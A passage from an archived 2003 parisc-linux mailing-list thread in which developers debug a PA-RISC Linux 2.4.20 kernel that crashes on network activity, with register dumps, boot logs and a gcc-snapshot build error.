08-11   0000000000000060  0000000000000010  000000000000000e  00000000000=
00001
12-15   0000000010408010  000000000000000c  0000000000000005  00000000000=
69e0c
16-19   000000001ffb5cc0  0000000000069e0c  0000000000000004  fffffffffee=
00000
20-23   000000000000000e  00000000000003fd  0000000010111b84  00000000103=
43810
24-27   00000000000003fd  fffffffffee003fd  00000000100ba160  00000000103=
30010
28-31   0000000000000000  000000000001338a  000000001ffb6440  00000000101=
10850

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
04-07   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
08-11   00000000000005be  0000000000000000  00000000000000c0  00000000000=
0001a
12-15   0000000000000000  0000000000000000  0000000000108000  00000000000=
00000
16-19   000000311b8e25f8  0000000000000000  0000000010111b94  000000000f2=
0001c
20-23   00000000a607fffb  c0000000802003fd  000000ff0004fe0c  00000000c20=
00000
24-27   000000000034c000  000000000dfbc000  0000000000044021  00000000f04=
12000
28-31   0000000055555555  0000000055555555  000000001f93c000  00000000103=
e8000
Space Registers 0 - 7

00-03   00000000          000002df          00000000          000002df
04-07   00000000          00000000          00000000          00000000

IIA Space                    =3D 0x0000000000000000
IIA Offset                   =3D 0x0000000010111b98
Check Type                   =3D 0x20000000
CPU State                    =3D 0x9e000004
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x0030103b
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x000000fffee003fd
System Requestor Address     =3D 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  00000000000=
00000
04-07   00000001103e2000  f00000001014ec28  1032100000000000  00000000000=
00000
08-11   1034b02000000002  0000000200000002  0000000010343810  103e3810103=
40810
12-15   103e40001fffb000  0000000200000002  00000000100b0000  1034b5c0103=
e1e5c
16-19   103438100000000b  103f6e4b10343b48  0000000f103f6810  f0000000000=
0000f
20-23   00000001103e1000  f00000001013e3e4  cccccccda3d70c6e  00000000ccc=
ccccd
24-27   000007b11ff580a0  000099990000000a  0000000000000004  10330010102=
f5d54
28-31   1fffb000102f5800  000080011013ff24  102f580000008001  1fffb005000=
00005


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                =3D 0xcb81041008000000
Available Memory             =3D 0x0000000010000000
CPU Diagnose Register 2      =3D 0x0301000000000004
CPU Status Register 0        =3D 0x2420c20000000000
CPU Status Register 1        =3D 0x8002000000000000
SADD LOG                     =3D 0x10d8bb0180311000
Read Short LOG               =3D 0xc18040fffee003fd
ERROR_STATUS                 =3D 0x0000000000100010
MEM_ADDR                     =3D 0x000001ff3fffffff
MEM_SYND                     =3D 0x0000000000000000
MEM_ADDR_CORR                =3D 0x000001ff3fffffff
MEM_SYND_CORR                =3D 0x0000000000000000
RUN_DATA_HIGH                =3D 0xc1bff0fffed08040
RUN_DATA_LOW                 =3D 0xc1bff0fffed08040
RUN_CTRL                     =3D 0x0000021c00001418
RUN_ADDR                     =3D 0xc1bff0fffed08040
System Responder Path        =3D 0x00ffff0a000e0101


HPMC PIM Analysis Information:

Timestamp =3D 
  Mon Jan  13 17:32:31 GMT 2003    (20:03:01:13:17:32:31)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 byt=
es:

A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/0/14/1/1 (built-in PC=
I
device).


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not
log
any additional information about the HPMC.

<Press any key to continue (q to quit)> 

-----------------  Processor 0 LPMC Information ------------------

Check Type                   =3D 0x00000000
I/D Cache Parity Info        =3D 0x00000000
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000


 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc2a9   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    ----------   0x4e0cc009   ------------------
   5    ----------   0x5e0cc009   ------------------
   6    ----------   0x6e0cc009   ------------------
   7    ----------   0x7e0cc009   ------------------

And then dump_analyser.sh got me:

IAOQ =3D 

Func: , Off: fffdf5ee, Addr: 0x0
objdump: --start-address: bad number: 0x

GR0 =3D 0000000000000000
0000000000000000
00000000
0000001f00000000

GR1 =3D 0000000010340010
0000000000000000
000002df
0000000000000000
Func: processor_tbl, Off: c, Addr: 0x10340010

GR2 =3D 0000000010110850
0000000000000000
00000000
0000000000000000
Func: inb, Off: 7c, Addr: 0x10110850
101107f4:	87 20 20 b8 	cmpib,=3D 0,r25,10110858 <inb+0x84>
10110850:	c8 7c 9f a5 	movb,tr ret0,r3,10110828 <inb+0x54>
10110854:	08 03 02 5c 	copy r3,ret0
10110858:	e8 57 0f 45 	b,l 10100000 <_text>,rp
1011085c:	34 42 3f 91 	ldo -38(rp),rp

GR3 =3D 00000000000000ff
0000000000000000
000002df
0000000000000000

GR4 =3D 0000000000000004
0000000000000000
00000000
00000001103e2000

GR5 =3D 00000000000f4023
0000000000000000
00000000
f00000001014ec28

GR6 =3D 00000000103f7244
0000000000000000
00000000
1032100000000000
Func: log_buf, Off: 0, Addr: 0x103f7244

GR7 =3D 00000000103fa5c3
0000000000000000
00000000
0000000000000000
Func: log_buf, Off: 337f, Addr: 0x103fa5c3

GR8 =3D 0000000000000060
00000000000005be
1034b02000000002

GR9 =3D 0000000000000010
0000000000000000
0000000200000002

GR10 =3D 000000000000000e
00000000000000c0
0000000010343810

GR11 =3D 0000000000000001
000000000000001a
103e381010340810

GR12 =3D 0000000010408010
0000000000000000
103e40001fffb000
Func: IRQ_timeout, Off: 2f4, Addr: 0x10408010

GR13 =3D 000000000000000c
0000000000000000
0000000200000002

GR14 =3D 0000000000000005
0000000000108000
00000000100b0000

GR15 =3D 0000000000069e0c
0000000000000000
1034b5c0103e1e5c

GR16 =3D 000000001ffb5cc0
000000311b8e25f8
103438100000000b

GR17 =3D 0000000000069e0c
0000000000000000
103f6e4b10343b48

GR18 =3D 0000000000000004
0000000010111b94
0000000f103f6810

GR19 =3D fffffffffee00000
000000000f20001c
f00000000000000f

GR20 =3D 000000000000000e
00000000a607fffb
00000001103e1000

GR21 =3D 00000000000003fd
c0000000802003fd
f00000001013e3e4

GR22 =3D 0000000010111b84
000000ff0004fe0c
cccccccda3d70c6e
Func: lba_astro_in8, Off: 0, Addr: 0x10111b84
10111b80:	0e 80 12 90 	stw r0,8(sr0,r20)
10111b84 <lba_astro_in8>:
10111b84:	22 60 0f dd 	ldil -1200000,r19
10111b88:	d3 39 1b f0 	extrw,u r25,31,16,r25
10111b8c:	0a 79 0a 19 	add,l r25,r19,r25

GR23 =3D 0000000010343810
00000000c2000000
00000000cccccccd
Func: pidhash, Off: f60, Addr: 0x10343810

GR24 =3D 00000000000003fd
000000000034c000
000007b11ff580a0

GR25 =3D fffffffffee003fd
000000000dfbc000
000099990000000a

GR26 =3D 00000000100ba160
0000000000044021
0000000000000004

GR27 =3D 0000000010330010
00000000f0412000
10330010102f5d54
Func: $global$, Off: 0, Addr: 0x10330010

GR28 =3D 0000000000000000
0000000055555555
1fffb000102f5800

GR29 =3D 000000000001338a
0000000055555555
000080011013ff24

GR30 =3D 000000001ffb6440
000000001f93c000
102f580000008001

GR31 =3D 0000000010110850
00000000103e8000
1fffb00500000005
Func: inb, Off: 7c, Addr: 0x10110850
101107f4:	87 20 20 b8 	cmpib,=3D 0,r25,10110858 <inb+0x84>
10110850:	c8 7c 9f a5 	movb,tr ret0,r3,10110828 <inb+0x54>
10110854:	08 03 02 5c 	copy r3,ret0
10110858:	e8 57 0f 45 	b,l 10100000 <_text>,rp
1011085c:	34 42 3f 91 	ldo -38(rp),rp

Done.


I do not know if it is relevant but HTH (me no :( )

Joel

PS: Tommorrow I will try either snapshot or gcc-3.0?

*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Mon, 13 Jan 2003 12:38:26 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20030113193826.GA1938__3577.65996964208$1416622108$gmane$org@dsl2.external.hp.com>
References: <20030110170905.GG26261@tausq.org> <3E1AA7C1000010F1@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622108 19880 80.91.229.3 (22 Nov 2014 02:08:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:28 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 12:38:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 104FD4829; Mon, 13 Jan 2003 12:38:26 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E1AA7C1000010F1@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17373

On Mon, Jan 13, 2003 at 07:36:03PM +0100, jsoe0708@tiscali.be wrote:
> Well as mentionned in another mail, I just compile the 2.4.20-pa21 with
> this new release and it always compile well, always boot well but also as
> soon as a network connection is tempted the system still crash.
> 
> And ? it just printout Stack Dump: (thousand time) but nothing more??
> Do I do again something wrong?

probably not. the stack dump is something I sometimes comment out
since it interfers with the register dump (which is more interesting).


> never the less, Here I got the pim info:
> PROCESSOR PIM INFORMATION

> GR2 = 0000000010110850
> Func: inb, Off: 7c, Addr: 0x10110850

> I do not know if it is relevant but HTH (me no :( )

Knowing it's inb() helps a bit. But we really need to know
who called inb. Unless we get a nice stack unwind, we just
have to guess based on activity that caused the crash and
last dmesg output from the console.

Sounds like the networking card you are attempting to
use isn't enabled properly by the driver.
Can you remind me which type of machine this is running
on and which type of NIC you are using?

thanks,
grant


From - Thu Nov 08 21:26:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 14 Jan 2003 07:57:01 +0100
Lines: 117
Approved: news@gmane.org
Message-ID: <3DED9A660000572D__15586.0720588409$1416622108$gmane$org@ocpmta3.freegates.net>
References: <20030113193826.GA1938@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622108 19892 80.91.229.3 (22 Nov 2014 02:08:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:28 +0000 (UTC)
Cc: "Randolph Chung" <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 23:57:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id B86BE4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Jan 2003 23:57:06 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18YL0R-0004h8-00; Tue, 14 Jan 2003 07:57:03 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 14 Jan 2003 07:57:01 +0100
In-Reply-To: <20030113193826.GA1938@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17374

>On Mon, Jan 13, 2003 at 07:36:03PM +0100, jsoe0708@tiscali.be wrote:
>> Well as mentionned in another mail, I just compile the 2.4.20-pa21 wit=
h
>> this new release and it always compile well, always boot well but also=

>as
>> soon as a network connection is tempted the system still crash.
>> 
>> And ? it just printout Stack Dump: (thousand time) but nothing more??
>> Do I do again something wrong?
>
>probably not. the stack dump is something I sometimes comment out
>since it interfers with the register dump (which is more interesting).
>
Allright...
>
>> never the less, Here I got the pim info:
>> PROCESSOR PIM INFORMATION
>
>> GR2 =3D 0000000010110850
>> Func: inb, Off: 7c, Addr: 0x10110850
>
>> I do not know if it is relevant but HTH (me no :( )
>
>Knowing it's inb() helps a bit. But we really need to know
>who called inb. Unless we get a nice stack unwind, we just
>have to guess based on activity that caused the crash and
>last dmesg output from the console.
>
>Sounds like the networking card you are attempting to
>use isn't enabled properly by the driver.
>Can you remind me which type of machine this is running
>on and which type of NIC you are using?
>
The system on which I test it is a b2k with
...
Searching for devices...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, 0xb=

2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
4. Kazoo W+ (0) at 0xfffa0000 [32], versions 0x5d0, 0x0, 0x4
5. Memory (1) at 0xfed10200 [49], versions 0x9d, 0x0, 0x9
CPU(s): 1 x PA8600 (PCX-W+) at 400.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR4.0 (0x5) found at 0xfed30000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
PCI: Ignoring BAR0-3 of IDE controller 00:0e.0
lba version TR4.0 (0x5) found at 0xfed32000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0400804.
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
STI GSC/PCI graphics driver version 0.9
STI PCI graphic ROM found at f4940000 (128 kB), fb at fb000000 (16 MB)
STI word mode ROM at f4940044, hpa at fb000000
STI id 35acda16-9a02587, conforms to spec rev. 8.0c
STI device: HPA4982A
stifb: Unsupported gfx card id 0x35acda16
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL=
_PCI
enabled
ttyS00 at port 0x03f8 (irq =3D 99) is a 16550A
ttyS01 at port 0x02f8 (irq =3D 100) is a 16550A
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0xf00, 00:30:D3:01:5A:3B, IRQ 66.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) bloc=
k.
tulip_mii_recover: 100 ms
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth1: Digital DS21143 Tulip rev 65 at 0x12100, 00:30:6E:06:23:D0, IRQ 130=
.
Uniform Multi-Platform E-IDE driver Revision: 7.00beta-2.4
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=3D=
xx
....

No chance, as you can see, the two interfaces are of the same time.
(I also have a b180 but the buildin NIC is also "Digital DS21143 Tulip re=
v
65" :( )

Thanks to your attention,
        Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 14 Jan 2003 08:22:12 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20030114082212.GA1292@tykepenguin.com>
References: <20030110170905.GG26261@tausq.org> <3E1AA7C1000010F1@ocpmta7.freegates.net> <20030113193826.GA1938@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416622109 19903 80.91.229.3 (22 Nov 2014 02:08:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 01:22:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust89.leed.broadband.ntl.com [80.7.68.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF6DA482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 01:22:13 -0700 (MST)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.36 #1 (Debian))
	id 18YMKq-0000h1-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 08:22:12 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030113193826.GA1938@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17375

On Mon, Jan 13, 2003 at 12:38:26PM -0700, Grant Grundler wrote:
> On Mon, Jan 13, 2003 at 07:36:03PM +0100, jsoe0708@tiscali.be wrote:
> > Well as mentionned in another mail, I just compile the 2.4.20-pa21 with
> > this new release and it always compile well, always boot well but also as
> > soon as a network connection is tempted the system still crash.
> > 
> > And ? it just printout Stack Dump: (thousand time) but nothing more??
> > Do I do again something wrong?
> 
> probably not. the stack dump is something I sometimes comment out
> since it interfers with the register dump (which is more interesting).
> 
> 
> > never the less, Here I got the pim info:
> > PROCESSOR PIM INFORMATION
> 
> > GR2 = 0000000010110850
> > Func: inb, Off: 7c, Addr: 0x10110850
> 
> > I do not know if it is relevant but HTH (me no :( )
> 
> Knowing it's inb() helps a bit. But we really need to know
> who called inb. Unless we get a nice stack unwind, we just
> have to guess based on activity that caused the crash and
> last dmesg output from the console.
> 
> Sounds like the networking card you are attempting to
> use isn't enabled properly by the driver.
> Can you remind me which type of machine this is running
> on and which type of NIC you are using?

I doubt this is exactly the case. I have the same problem with my C110 in that
connecting to the box over ssh will kill it (with a gcc 3.2 compiled kernel) but
DECnet works fine with that kernel.

Oddly, DECnet does /not/ work with a gcc 3.0.4 compiled kernel (it doesn't crash,
just produces bogus packets), though ssh does - as we know.

patrick



From - Thu Nov 08 21:26:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new gcc-snapshot problem [was: new gcc-default for hppa]
Date: Tue, 14 Jan 2003 11:03:41 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <3DED9A66000057DD__38564.1226465397$1416622109$gmane$org@ocpmta3.freegates.net>
References: <3E1AA7C1000010F1@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622109 19914 80.91.229.3 (22 Nov 2014 02:08:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 03:03:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CE1D482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 03:03:45 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18YNv4-0004OF-00; Tue, 14 Jan 2003 11:03:42 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 14 Jan 2003 11:03:41 +0100
In-Reply-To: <3E1AA7C1000010F1@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17376

>PS: Tommorrow I will try either snapshot or gcc-3.0?
>
I so try snapshot (named 20030105-1) and so set LD_LIBRARY_PATH and PATH
as documented but compiling the kernel 2.4.20 failled with:
gcc -D__KERNEL__ -I/usr/src/linux-2.4.20-pa21/include -Wall -Wstrict-prot=
otypes
-Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer
-D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-ca=
lls
-mdisable-fpregs -ffunction-sections -march=3D1.1 -mschedule=3D7100   -no=
stdinc
-I /usr/lib/gcc-snapshot/lib/gcc-lib/hppa-linux/3.3/include -DKBUILD_BASE=
NAME=3Dide_cd
 -c -o ide-cd.o ide-cd.c
In file included from /usr/src/linux-2.4.20-pa21/include/linux/ide.h:301,=

                 from ide-cd.c:309:
/usr/src/linux-2.4.20-pa21/include/asm/ide.h: In function `ide_fix_drivei=
d':
/usr/src/linux-2.4.20-pa21/include/asm/ide.h:150: warning: comparison bet=
ween
signed and unsigned
In file included from /usr/src/linux-2.4.20-pa21/include/linux/highmem.h:=
5,
                 from /usr/src/linux-2.4.20-pa21/include/linux/pagemap.h:=
16,
                 from /usr/src/linux-2.4.20-pa21/include/linux/locks.h:8,=

                 from /usr/src/linux-2.4.20-pa21/include/linux/blk.h:5,
                 from /usr/src/linux-2.4.20-pa21/include/linux/ide.h:771,=

                 from ide-cd.c:309:
/usr/src/linux-2.4.20-pa21/include/asm/pgalloc.h: In function `flush_cach=
e_range':
/usr/src/linux-2.4.20-pa21/include/asm/pgalloc.h:83: warning: comparison
between signed and unsigned
In file included from /usr/src/linux-2.4.20-pa21/include/linux/highmem.h:=
5,
                 from /usr/src/linux-2.4.20-pa21/include/linux/pagemap.h:=
16,
                 from /usr/src/linux-2.4.20-pa21/include/linux/locks.h:8,=

                 from /usr/src/linux-2.4.20-pa21/include/linux/blk.h:5,
                 from /usr/src/linux-2.4.20-pa21/include/linux/ide.h:771,=

                 from ide-cd.c:309:
/usr/src/linux-2.4.20-pa21/include/asm/pgalloc.h: In function `flush_cach=
e_page':
/usr/src/linux-2.4.20-pa21/include/asm/pgalloc.h:102: warning: comparison=

between signed and unsigned
In file included from ide-cd.c:318:
ide-cd.h: At top level:
ide-cd.h:440: error: long, short, signed or unsigned used invalidly for
`slot_tablelen'
ide-cd.c: In function `cdrom_analyze_sense_data':
ide-cd.c:468: warning: comparison between signed and unsigned
ide-cd.c: In function `cdrom_buffer_sectors':
ide-cd.c:816: warning: comparison between signed and unsigned
ide-cd.c:816: warning: signed and unsigned type in conditional expression=

ide-cd.c: In function `cdrom_read_intr':
ide-cd.c:994: warning: comparison between signed and unsigned
ide-cd.c:994: warning: signed and unsigned type in conditional expression=

ide-cd.c: In function `cdrom_read_from_buffer':
ide-cd.c:1061: warning: comparison between signed and unsigned
ide-cd.c: In function `cdrom_start_read_continuation':
ide-cd.c:1100: warning: comparison between signed and unsigned
ide-cd.c: In function `cdrom_write_intr':
ide-cd.c:1607: warning: comparison between signed and unsigned
ide-cd.c:1607: warning: signed and unsigned type in conditional expressio=
n
make[3]: *** [ide-cd.o] Error 1
make[3]: Leaving directory `/usr/src/linux-2.4.20-pa21/drivers/ide'
make[2]: *** [first_rule] Error 2
make[2]: Leaving directory `/usr/src/linux-2.4.20-pa21/drivers/ide'
make[1]: *** [_subdir_ide] Error 2
make[1]: Leaving directory `/usr/src/linux-2.4.20-pa21/drivers'
make: *** [_dir_drivers] Error 2

I have a look and in drivers/ide/ide-cd.h line 440 I found well:
    __u8 short slot_tabelen;

Any idea?

Thanks,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-snapshot problem [was: new gcc-default for hppa]
Date: Tue, 14 Jan 2003 08:54:22 -0500 (EST)
Lines: 13
Approved: news@gmane.org
